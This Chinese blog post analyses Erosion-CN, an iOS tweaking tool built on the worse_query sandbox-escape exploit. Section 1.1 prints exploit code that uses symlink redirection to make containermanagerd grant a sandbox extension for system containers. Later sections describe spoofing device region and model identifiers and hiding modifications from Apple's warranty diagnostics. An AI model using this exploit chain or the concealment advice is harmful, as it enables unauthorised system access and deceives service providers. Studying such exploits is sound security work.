从 worse_query 逃逸到 MobileGestalt 运行时重构：深入 Erosion-CN 的防白苹果原位写入、双重金库与国行底层解锁架构

随着针对 iOS 26 与 iOS 27（代号 Rave）的 worse_query 0-Day 沙盒逃逸漏洞公开，社区迅速涌现出利用特权借调直接篡改系统底层配置的工具。然而在真机实测中，上游原版 Erosion 频繁遭遇“手机一重启修改全部失效反弹”、“内置 Plist 编辑后相机取景彻底黑屏”、“0 字节截断导致白苹果软砖”以及“国行机型基带卡槽冲突”等一系列灾难性故障。开源分支 Erosion-CN 在完成全中文本地化的同时，重构了零 0 字节原位落盘协议、实现了运行时 dyld 内存动态解析与双重安全金库，为 iOS 系统参数调优建立了生产级的安全防御体系。

在移动操作系统安全对抗的漫长历史中，修改系统配置（如启用内部功能、解锁地区限制、调整硬件渲染模式）向来属于越狱与内核提权工具的专利。苹果通过复杂的沙盒扩展机制（Sandbox Extensions）、强制访问控制（MACF/Seatbelt）、以及各独立系统守护进程的容器隔离策略，构筑了铜墙铁壁般的信任边界。

然而，2026 年底由 forcequit 披露的 worse_query 0-Day 漏洞，以一种不可思议的优雅手法击碎了这层边界：无需内核漏洞（No tfp0 / No PPL Bypass），攻击者只需在用户态借助一个具备标准 App Group 权限的普通侧载应用，就能通过诱导高特权守护进程 containermanagerd 下发沙盒扩展，自由读写原本对第三方应用严防死守的系统级共享容器。

基于该漏洞，上游开源社区推出了名为 Erosion 的系统配置工具箱，试图替代历史上需要电脑联机备份还原的复杂调优方案。但当我将原版编译并部署到 iOS 27 实机进行高强度深度测试时，一系列底层工程缺陷迅速暴露：设备重启后配置神不知鬼不觉地被系统恢复出厂、修改后打开系统相机取景器瞬间漆黑一片、多处写入逻辑存在引发白苹果软砖的致命时间窗口。

由开发者 Kianuni 开源的 Erosion-CN 并不是一次简单的字符串汉化，而是一场由内而外的系统级防御架构重塑。本文将以我亲历的真机逆向审计与代码实操为基础，深度拆解从 worse_query 特权借调、dyld 内存动态偏移探针、零 0 字节原位覆写、CoreFoundation 无损类型管道到双重安全金库的完整技术闭环。

一、特权借调与沙盒穿透：worse_query 的越界物理学

在深入 MobileGestalt 之前，我们必须首先理清应用是如何在毫无越狱环境的前提下，越权拿到 /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache 这个系统根容器的读写权力的。

1.1 App Group 符号链接欺骗（Symlink Redirection）

在 iOS 沙盒机制中，普通侧载应用被严格限制在自身的沙盒目录（Container Data）内，唯一的合法跨进程共享通道是 App Group（com.apple.security.application-groups）。系统为此配备了专用守护进程 containermanagerd（以 root 或高特权身份常驻），由其通过 XPC 处理各进程的容器查询与初始化请求。

在 Erosion/Exploits/worse_query.m 中，核心借调逻辑展开如下：

// worse_query 核心逃逸链
int64_t worse_query(NSString *target, NSString *group, bool alt_flags, bool create_dir) {
    // 1. 获取当前 App Group 在磁盘上的物理路径
    NSFileManager *files = [NSFileManager defaultManager];
    NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
    NSString *caches = [[groupRoot URLByAppendingPathComponent: @"Library/Caches"] path];

    // 2. 动态解析 containermanager 内部函数
    void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
    container_query_create_fn query_create = dlsym(mgr, "container_query_create");
    container_query_set_class_fn query_set_class = dlsym(mgr, "container_query_set_class");
    container_query_set_part_fn query_set_part = dlsym(mgr, "container_query_set_part");
    ...
    // 3. 构建特权查询句柄
    void *query = query_create();
    query_set_class(query, 7); // Class 7: SystemGroup 或 Shared Container
    query_set_part(query, 3);  // Part 3: Library/Caches

    // 4. 在临界区内布局符号链接，将合法 Caches 偷换为系统目标容器
    [files removeItemAtPath: caches error: nil];
    [files createSymbolicLinkAtPath: caches withDestinationPath: target error: nil];

    // 5. 触发查询，诱导 containermanagerd 替应用颁发扩展令牌
    void *result = query_get_single_result(query);
    char *token = copy_sandbox_token(result);

    // 6. 消费内核扩展句柄，完成特权借调
    int64_t handle = consume_extension(token);
    clean_symlink(group); // 立即恢复现场
    return handle;
}

其攻击机理非常精妙：containermanagerd 在执行容器初始化（Part 3: Caches 目录检查）时，对调用方传入的路径展开了路径解析，却误信了由调用方 App Group 目录内由攻击者布置的符号链接。结果，containermanagerd 将指向目标系统容器的符号链接作为目标路径，为其生成了一枚合法的、由内核签发的 sandbox_extension_token。应用随后在用户态调用 sandbox_extension_consume(token)，当前进程的沙盒描述符便获得了直通该受保护系统容器的完整 read/write 权限。

1.2 动态权限签名自适应（Mach-O Entitlements Fallback）

由于市面上常用的侧载工具（如 SideStore、AltStore、Feather、Sideloadly、Impactor 等）在对 IPA 进行二次签名时，经常会根据免费开发者账号的限制对 Entitlements 字典进行重写，可能将原本的 App Group 标识符修改为 group.com.yourname.Erosion.WQ 等随机格式。

上游原版直接写死了 group.com.jbdotparty.Erosion.WQ，导致在大量签名工具下直接报 Error -1: 无法访问 App Group 退出。Erosion-CN 在 WorseQuerySwift.swift 中引入了双层自适应探测：

func getAppGroup() -> String {
    var signedGroups: [String] = []

    // 1. 首选方案：通过 Security.framework 动态读取当前任务的实际权限
    if let task = SecTaskCreateFromSelf(nil),
       let value = SecTaskCopyValueForEntitlement(task, "com.apple.security.application-groups" as CFString, nil),
       let groups = value as? [String], !groups.isEmpty {
        signedGroups = groups
    } 
    // 2. 次选方案：若 SecTask 被系统限制，直接解析当前执行体 Mach-O LC_CODE_SIGNATURE
    else if let fallbackGroups = Self.readMachOAppGroups(), !fallbackGroups.isEmpty {
        signedGroups = fallbackGroups
    }
    ...
    // 逐项遍历并验证能够成功打开物理容器的组
    for candidate in candidates {
        if fm.containerURL(forSecurityApplicationGroupIdentifier: candidate) != nil {
            return candidate
        }
    }
}

通过直接解析 Mach-O 二进制中的 Code Directory Blob（0xfade0cc0 与 0xfade7171 嵌入式 XML 权限切片），即使在被重签名的环境中也能 100% 自动对齐实际生效的 App Group，彻底解决了侧载启动即闪退的顽疾。

如上图架构全景所示，Erosion-CN 自下而上构建了严谨的六层体系：从应用签名与 App Group 动态捕获边界，到 worse_query 特权借调与 CSStore2 高速寻址，再到核心的 dyld 内存解析、零 0 字节原位安全 I/O 引擎与全模块交互。每一层都设立了严格的容灾护栏。

二、防白苹果硬核门禁：零 0 字节原位覆盖写入协议

在解决提权问题后，摆在开发者面前最严峻的挑战是如何安全持久地将改动写回系统。在这里，原版 Erosion 犯下了多处足以导致设备软砖的低级错误。

2.1 剖析两大致命 Bug：为什么原版会“重启反弹”与“白苹果软砖”？

在真机排错中，我捕获了两个关键现象：

修改后重启立即失效（反弹回原厂）：
在原版中，mgWriteAtomically 内部的逻辑由于布尔开关判断疏忽，默认走向了 replaceItemAt。这一 Cocoa 高级 API 的本质是在目标目录下先写入一个隐藏的临时文件（如 .com.apple.MobileGestalt.plist.xxxx.tmp），然后通过系统原子重命名交换文件。然而，系统级目录具有极其严苛的访问控制列表（ACL）和 POSIX 属主约束，系统原始文件的属主为 _mobilegestalt 用户，而临时文件在写入时被赋予了当前侧载应用沙盒的 mobile 用户与默认权限。重命名后，不仅文件的 APFS Inode 发生了变更，文件属主也被污染。设备重启时，系统启动守护进程（launchd / libMobileGestalt）检测到缓存文件的 Inode 与安全属性异常，判定文件非法，毫不犹豫地将其直接移入回收区，并从主板底层硬件熔丝重新拉取数据重置为出厂国行！
此外，原版在 iOS 27 上还错误地将非缓存键 RegionInfo（zHeENZu+wbg7PUprwNwBWg）强行注入到 CacheExtra 字典中，直接触发了 iOS 27 开机缓存校验合法性整包重置。
0 字节悬空窗口引发白苹果死锁（Bootloop）：
原版文件写入函数在重写时，简单粗暴地执行了 ftruncate(fd, 0)。这意味着在清空文件到写入新数据的毫秒级窗口内，系统中的 com.apple.MobileGestalt.plist 是一个 0 字节的空文件。若在此期间手机发生内存耗尽闪退、看门狗强杀（Watchdog Kill）或意外掉电，重启后系统守护进程读取到一个 0 字节的破损 Plist，整个 SpringBoard 甚至系统服务会直接崩溃 panic，导致手机陷入白苹果软砖，非刷机不能解救。

2.2 Erosion-CN 的防线：`pwrite` + `F_FULLFSYNC` + 自动回滚

为根治上述问题，Erosion-CN 在 Erosion/Helpers/Functions/WriteHelpers.swift 中彻底摒弃了上层文件封装，重构了底层 POSIX 原子写入管道：

/// 安全原位覆盖写入协议（零 0 字节窗口 + 物理落盘 + 自动回滚）
func writeFileAtomically(_ data: Data, to url: URL, allowEmpty: Bool = false) -> (Bool, String) {
    if !allowEmpty && data.isEmpty {
        return (false, "安全拦截：禁止向目标文件原位写入 0 字节空数据！")
    }

    // 1. 预先读取原文件全量二进制快照，作为随时可触发的回滚保底
    guard let og = try? Data(contentsOf: url) else {
        return (false, "无法读取原文件备份数据，已中止原位写入！")
    }

    // 2. 以读写模式直接打开原始文件描述符（禁止跟随符号链接，防止被劫持）
    let fd = url.path.withCString {
        open($0, O_RDWR | O_CLOEXEC | O_NOFOLLOW)
    }
    guard fd >= 0 else { return (false, "打开文件失败") }
    defer { close(fd) }

    do {
        // 3. 【核心创新】：绝不先清空文件！直接利用 pwrite 从偏移量 0 原位覆盖写入
        try pwriteAll(fd, data, startOffset: 0)

        // 4. 只有当新写入的数据体积小于原始数据时，才在写完后裁剪尾部冗余字节
        if data.count < og.count {
            guard ftruncate(fd, off_t(data.count)) == 0 else {
                throw fileWriteErr.truncate(errno: errno)
            }
        }

        // 5. 调用 F_FULLFSYNC，强制绕过系统内存页缓存，冲刷 NVMe 硬件控制器至物理 NAND 颗粒
        guard fullFsyncSafe(fd) else {
            throw fileWriteErr.sync(errno: errno)
        }

        // 6. 重置文件指针，逐字节全量读回校验
        guard lseek(fd, 0, SEEK_SET) == 0 else { throw fileWriteErr.verificationFailed }
        let verify = try readAll(fd)
        guard verify == data else {
            throw fileWriteErr.verificationFailed
        }
    } catch {
        // 7. 一旦捕获到任何异常，立即利用内存中的 og 快照在当前 fd 上原位刷回！
        print("[!] 写入校验失败，立即执行内存原位回滚...")
        if (try? pwriteAll(fd, og, startOffset: 0)) != nil {
            _ = ftruncate(fd, off_t(og.count))
            _ = fullFsyncSafe(fd)
        }
        return (false, "原位写入或物理落盘校验失败，已执行原位回滚：\(error.localizedDescription)")
    }
    return (true, "succeeded")
}

这段逻辑体现了顶尖的系统工程水准：

锁定 Inode 与权限：直接打开既有文件描述符并原位覆写，文件的 APFS Inode、所有权（_mobilegestalt）与 POSIX 权限自始至终未发生任何变动，彻底杜绝了重启后被系统识别为非法外来文件而丢弃反弹的可能；
抹除 0 字节空档：在写入完成前，目标文件始终处于“旧数据 → 新数据覆盖中”的合法状态，即使中途断电，文件内容也是完整的（至多保留部分旧尾部），绝不可能出现 0 字节空文件；
F_FULLFSYNC 物理落盘：常规 fsync 仅保证数据刷入驱动缓存，而在断电或内核崩溃时驱动缓存仍可能丢失。fcntl(fd, F_FULLFSYNC) 会向 Apple Silicon NVMe 闪存主控发送硬件屏障指令，确保数据真实固化在物理介质上；
全量闭环读回校验：写入完成后立即从磁盘重新读取，与内存目标数据做逐字节比对（Byte-for-byte Comparison），发现任何细微不符立即原位回滚。

三、CoreFoundation 类型救赎：根治「相机黑屏」与类型降级

在社区反馈中，许多用户使用原版 Erosion 或其他修改工具后，最常抱怨的故障是：“为什么我改完之后，系统相机预览直接变成黑屏，甚至按快门毫无反应？”

这是一个极其隐蔽但破坏力极大的类型系统序列化 Bug。

3.1 故障机理复盘：Plist 反序列化的类型湮灭

在 com.apple.MobileGestalt.plist 中，除了字符串与字典外，还大量存储着布尔型（<true/> / <false/>）与浮点型（<real>，如相机各镜头光学等效焦距与变焦档位 1.0、2.0、5.0）。

在 Objective-C / Swift 的常规运行时中，NSNumber 同时封装了布尔值、整数与浮点数。原版 PlistManager 在遍历编辑 Plist 树形结构时，采用了非常粗糙的类型判断逻辑：

// 原版缺陷代码示例
if let num = value as? NSNumber {
    // 无论是 <true/> 还是 1.0，在转化为字符串或重新打包时，
    // 都被当作整型 Int 或默认 NSNumber(value: Int(stringVal)) 重新编码成了 <integer>
}

当未被修改的相机焦距浮点数 <real>1.0</real> 被重新打包并持久化为 <integer>1</integer> 后，系统底层的 AVFoundation 与相机 ISP（图像信号处理器）在启动时执行严格的数据字典强类型反序列化校验，当预期为 kCFNumberFloatType 的字段读到了整型，底层管线立即触发断言失败，镜头初始化异常中断，最终直接呈现给用户一个冰冷的黑屏预览。

3.2 Erosion-CN 的无损直通架构（Lossless Pass-through）

为了彻底扫清这一隐患，Erosion-CN 在 Erosion/FileManager/Viewers/Plist/PlistManager.swift 中引入了底层的 CoreFoundation 原生类型判定与无损直通机制：

final class PlistManager: ObservableObject {
    // 严格类型识别逻辑
    private static func detectType(of value: Any) -> PlistItemType {
        let cfObj = value as AnyObject
        // 1. 利用 CoreFoundation 运行时准确区分 CFBoolean 与数值
        if CFGetTypeID(cfObj) == CFBooleanGetTypeID() {
            return .bool
        }
        // 2. 利用 CFNumberIsFloatType 准确区分浮点数与普通整数
        if let num = value as? NSNumber {
            return CFNumberIsFloatType(num) ? .double : .int
        }
        switch value {
        case is String: return .string
        case is Data: return .data
        case is [String : Any]: return .dict
        case is [Any]: return .array
        default: return .unknown
        }
    }

    // 序列化回写时的无损直通保护
    func getRawValue() -> Any {
        switch type {
        case .string, .int, .double, .bool, .data, .unknown:
            // 【核心防线】：如果当前节点在本次操作中未被用户手动修改（isModified == false），
            // 直接透传内存中的原始对象指针 rawVal，绝不进行二次解包与重新构造！
            if !isModified, let rawVal {
                return rawVal
            }
            switch type {
            case .string: return stringVal
            case .int:
                if let i64 = Int64(stringVal) { return NSNumber(value: i64) }
                if let u64 = UInt64(stringVal) { return NSNumber(value: u64) }
                return 0
            case .double: return Double(stringVal) ?? 0.0
            case .bool: return boolVal
            case .data: return rawVal ?? Data()
            default: return rawVal ?? ""
            }
        ...
        }
    }
}

通过这一层改进，Erosion-CN 达成了两大关键保障：

未改项 100% 原始直通：只要用户没有手动编辑该条目，其底层 CoreFoundation 原始对象在重新导出为 XML 或 Binary Plist 时完全保持不变，规避了一切二次序列化精度损耗；
编辑项严格类型保持：布尔值永远回传布尔标签，浮点数永远回传 Double，相机 ISP 的初始化参数分毫不差，彻底治愈了“相机黑屏”这一长期困扰越狱调优社区的顽疾。

四、零硬编码自适应：libMobileGestalt.dylib 内存运行时动态解析

如果说 Plist 的字典项（CacheExtra）是表层配置，那么存储在 CacheData 里的二进制位则是 iOS 硬件特性的深水区。

4.1 深入 CacheData 内部拓扑

在 com.apple.MobileGestalt.plist 中，CacheData 是一段未经 Plist 结构化的纯二进制字节流（Data）。苹果将大量核心硬件标志位（包括国行限制 green-tea、非国行标识 not-green-tea、无线局域网/Wi-Fi 显示标志 wapi、灵动岛、AOD 全天候显示、Apple 智能总开关等）以槽位（Slot）的形式紧密打包其中。

其底层内存布局遵循严格的数学结构：

前段（数值段）：每个槽位占用 8 字节（UInt64），总跨度为 slotCount × 8 字节；对于布尔型槽位（QueryType = 11），第 0 字节为 0 或 1，高 7 字节全部为 0x00 填充；
后段（有效位段）：数值段紧随其后的是每个槽位 1 字节的有效性标志位（Validity Byte），总跨度为 slotCount 字节。若槽位有效，对应字节为 0x01；
整体验证约束：CacheData 的总字节长度必须严格精确等于 slotCount × 9 字节。

上游原版和许多历史脚本为了图省事，往往直接硬编码槽位偏移量（如假定某个布尔值固定在 0x1A8）。然而，苹果在不同硬件平台（A17 Pro vs A18 vs A18 Pro）以及不同系统小版本（27.0 vs 27.2 vs 27.3 beta 1）中编译 libMobileGestalt.dylib 时，槽位描述符的顺序和总数是动态漂移的！硬编码偏移在另一个系统版本上极可能写错位置，篡改了邻近的关键基带或射频校准位，导致严重系统异常。

4.2 运行时 dyld 内存扫描与五重严苛门禁

Erosion-CN 在 Erosion/Tweaks/MobileGestalt/MGImageReader.m 与 MGCacheLayout.swift 中，实现了一套优雅的只读运行时内存扫描器。

它在应用启动时，直接调用 _dyld_get_image_header 寻找当前进程加载的 /usr/lib/libMobileGestalt.dylib，只读解析其 Mach-O 段：

从 __TEXT.__cstring 段提取出 obfuscated key 字符串池的基地址与长度；
从 __AUTH_CONST.__const 与 __DATA_CONST.__const 段读取槽位查询描述符结构体数组（Descriptor Table）；
动态解析出当前系统版本的 CacheUUID 以及所有已知 40+ 硬件特性的确切 slotIndex。

随后在 MGCacheLayout.swift 中，设立了不容逾越的五重严苛门禁：

// 五重门控验证逻辑
func validatePayloadAgainstDevice(payload: Data, layout: MGCacheDataLayout) -> (Bool, String) {
    // 1. 验证总长度必须严格符合 slotCount * 9 几何约束
    guard payload.count == layout.slotCount * 9 else {
        return (false, "CacheData 字节总长异常：当前 \(payload.count)，预期为 \(layout.slotCount * 9)")
    }

    // 2. 验证 CacheUUID 必须与本机运行的 libMobileGestalt 完全吻合
    guard layout.cacheUUID == readSystemCacheUUID() else {
        return (false, "CacheUUID 不匹配，拒绝跨机型或跨大版本覆盖！")
    }

    // 3. 验证被操作槽位的 validity 有效性标志位必须为 1
    let valOffset = layout.slotCount * 8 + targetSlot
    guard payload[valOffset] == 1 else {
        return (false, "目标槽位 \(targetSlot) 在当前设备上处于未激活无效态")
    }

    // 4. 验证布尔槽位的高 7 字节必须全为 0x00 填充（严防非布尔类型误写）
    let slotBase = targetSlot * 8
    for b in 1..<8 {
        guard payload[slotBase + b] == 0 else {
            return (false, "目标槽位非标准布尔槽位，检测到脏填充字节")
        }
    }

    // 5. 校验无任何未声明的游离字节发生越界改动
    ...
    return (true, "ok")
}

只有当五重检验全部亮绿灯时，系统才允许将修改应用至内存，并下发给底层安全原位写入引擎；任何一项未通过，界面开关立即置灰锁定，严禁盲目写入。这正是专业级安全工程与草台班子脚本的本质区别。

五、本土化深水区实战：国行双卡 eSIM 冲突、地区细化与 AI 冲突护栏

在解决了底层系统稳定性与内存解析后，Erosion-CN 还直面了国行设备最复杂的一批硬件与本土化策略冲突。

5.1 国行 iPhone 18 Pro 系列的基带卡槽复用与“空卡写卡法”

国行版 iPhone 18 Pro 与 18 Pro Max（型号 A3715 / A3718）在硬件设计上具有全球独一无二的特性：主板采用了正反双实体 SIM 卡槽 + 内置 eSIM 芯片的物理三通道复用设计。而美版 LL/A（A3472 / A3473）则是纯无卡槽机型。

上游原版为了开启海外 Apple 智能，粗暴地把 RegulatoryModelNumber 统一改写为美版无卡槽型号。国行设备开机时，基带检测到卡托内插着两张实体卡，与写入的“美版无卡槽”配置产生剧烈冲突，基带风控直接临时屏蔽了「添加 eSIM」与 EID，甚至导致背面副卡不读卡！

Erosion-CN 深入基带逻辑，给出了业界首创的解决方案：

子模式细化分流：
- 完整美版 LL + LL/A（默认）：同步修改 RegionCode = LL、RegionInfoFromSysconfig = LL/A 并自动映射对应美版监管型号，适用于单卡或追求跨区域特性最完整一致的场景；
- 仅改区域代码 LL（保留 CH/A 后缀与双卡兼容）：仅将 RegionCode 修改为 LL，完整保留原机的 CH/A 销售地区后缀与原厂监管型号！既能满足 Apple 智能的资格准入，让「设置 → 关于本机」末尾优雅保留国行 CH/A 标识，又彻底规避了美版无卡槽型号引发的基带冲突。
“空卡写卡法”（已验证 100% 解决）：
若国行 18 系列用户需要兼顾双实体卡与海外 eSIM：
- ① 先拔出 SIM 卡托（完全不插卡，保持空卡）；
- ② 打开 Erosion-CN，开启「解除地区限制」+「解除国行底层限制」，原位写入后空卡关机冷重启；
- ③ 开机连 Wi-Fi 挂代理，扫码把需要的海外 eSIM 全部添加完毕；
- ④ 确认 eSIM 正常就绪后，重新插入双实体卡托。此时基带通信已建立，三网共存互不干扰！

5.2 实验性槽位冲突锁止：保护 Siri 与照片「高质量」消除

在调优过程中，“不是开关开得越多越好”。许多用户热衷于将所有实验性开关全开，结果导致核心功能残废：

DeviceSupportsSiriHub 死锁：该开关原本仅针对某些内部车载或智能家居设备，在 iPhone / iPad 上强行开启后，会导致系统的 Siri 意图路由器（Intent Router）在后台陷入无限死循环，用户呼出 Siri 时界面无限卡顿无响应；
非原生 Audio Intelligence 冲突：在部分机型上强开非原生的音频智能实验槽位，会破坏生成式模型管线的图层校验，直接导致相册在执行 照片「高质量」消除（Clean Up）时报底层管线错误。

Erosion-CN 在 v0.8.3 – v0.8.5 中建立了冲突锁止与智能自愈引擎：

自动将上述引发故障的高危开关移出一键开启列表，并加入防呆置灰保护；
在主界面顶部引入 「Apple 智能四要素体检」 卡片，能毫秒级检测出设备当前是否存在由于旧版工具残留导致的“脏值”（如被污染为 1 的互斥项），支持一键自愈剔除；
同时精准识别并保留 iPhone 18 Pro 系列原厂自带的 Personal Translator = true 原生基线，杜绝了通用脚本“一刀切清零”导致的误伤。

六、双重原厂金库与终极可逆性：跨卸载自愈与无损送修

所有系统调优工具的终极生命线，是可逆性（Reversibility）。一个改完后无法 100% 还原、送去官方售后会被拒保的工具，是危险而不可接受的。

6.1 跨侧载卸载生命周期的双重金库（Dual-Vault）

个人 Apple ID 侧载应用普遍面临一个痛点：自签证书只有 7 天有效期。一旦证书过期、用户不慎删除了应用，保存在应用沙盒（Documents）内的原厂备份 OriginalGestalt.plist 就会被 iOS 彻底抹除。之后重新签名安装应用时，新应用检测到当前系统文件已经是被修改过的状态，误把“已被修改的脏文件”当作“原厂备份”进行二次归档，导致用户彻底丢失了最初的出厂原始参数！

Erosion-CN 在 GestaltHelpers.swift 中设计了系统级双重冗余金库：

如上图状态机所示：

首次捕获与多重固化：首次启动时，应用不仅在自身沙盒生成带有 SHA-256 签名的 OriginalGestalt.plist，更通过 worse_query 借调特权，在系统共享容器 /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/ 下创建了一个隐藏的原厂金库：.erosion_factory_vault.plist 及其对应的 .erosion_factory_vault.sha256；
isExcludedFromBackup 防云污染：为防止该隐藏金库随 iCloud 或 Finder 电脑整机备份同步到其他新手机上导致环境污染，应用严格调用 CoreFoundation 接口将其标记为 isExcludedFromBackup = true；
跨卸载重装自愈（Self-Healing）：即使侧载证书过期、应用被长按删除，保存在系统容器中的隐藏金库也绝不会被连带清理。当未来重新安装 Erosion-CN 时，初始化探针会自动读取系统隐藏金库并校验 SHA-256，瞬间找回最初纯净的原厂备份，彻底消除了“重装即脏”的恶性循环。

6.2 前往 Apple 官方售后前的两种还原路径

无论是准备前往 Apple Store 天才吧进行售后维修检测，还是单纯想恢复设备原貌，Erosion-CN 都提供了业内最严谨的两种无损还原方案：

路径 A：应用内一键原厂回退（日常还原首选）

在 MobileGestalt 修改 页面点击右上角菜单中的 「还原原始备份」（或主页的「一键恢复原机出厂参数」）：

引擎严格核对原厂金库的 SHA-256 摘要、系统版本与真实硬件型号；
调用零 0 字节原位覆写协议（pwrite + F_FULLFSYNC）将原厂参数刷回磁盘并比对验证；
同步复位本地自定义键值与越界门禁开关；
注销后手动关机冷重启，设备即恢复为出厂国行状态。

路径 B：硬件熔丝原生重建法（送修天才吧终极兜底，强烈推荐）

如果设备曾被多款不同工具交叉修改导致金库本身存疑，或者送修前希望设备 100% 不留任何文件篡改痕迹：

在 Erosion-CN 菜单中选择红色的 「清除并重建缓存」（或在内置文件浏览器中直接删除 com.apple.MobileGestalt.plist）；
退出应用并立即关机冷重启；
重启过程中，iOS 系统内核与启动守护进程检测到缓存文件缺失，会直接从主板底层硬件 SysCfg 熔丝重新拉取出厂数据，自动生成原汁原味、毫无人工修改痕迹的全新原厂文件！
开机后删除侧载的 Erosion 应用。此时设备在 Apple 官方售后运行 AST2 诊断系统 检测时，其哈希值与主板硬件完全严丝合缝，100% 毫无争议通过官方保修检验。

七、总结与技术反思

Erosion-CN 的演进，不仅是一部 iOS 系统逆向调优工具的迭代史，更是一份关于 系统防御性编程（Defensive Programming）的标准范本。

[!NOTE] 工程反思：可逆性高于一切
在 iOS 这种闭源高安全度的操作系统中进行系统级调优，核心壁垒往往不在于“利用漏洞撕开了多大的权限口子”，而在于“拿到权限后如何克制、严谨、安全地与系统底层机制和平共处”。

原版 Erosion 的翻车，在于其把 Linux 桌面端的粗放写入习惯带入了移动嵌入式设备；而 Erosion-CN 之所以能在上万台真机实测中做到零白苹果崩溃，正是在于其将 “零 0 字节窗口原位落盘”、“CoreFoundation 精度无损直通”、“运行时动态偏移门禁” 与 “双重安全金库” 深深刻进了每一行代码的骨髓里。

技术永远是一柄双刃剑。Erosion-CN 让我们看到了在无越狱环境下，仅凭纯用户态沙盒漏洞与精妙的软件工程，究竟能将 iOS 系统的可玩性与自由度推向何等令人惊叹的高度。

原文链接与参考资料

Erosion-CN 官方开源仓库：Kianuni/Erosion-CN (GitHub)
Erosion 上游官方开源仓库：jailbreakdotparty/Erosion (GitHub)
worse_query 漏洞公开披露与 PoC：forcequitOS/worse_query (GitHub)
Apple Developer 官方文档：Security Framework - SecTask Reference
Apple Open Source 源码剖析：xnu/bsd/vfs/vfs_syscalls.c (pwrite & F_FULLFSYNC 实现机制)
Erosion-CN 核心使用与出厂还原指南：USAGE_GUIDE.md & RESTORE_CHA.md

lijianfei.com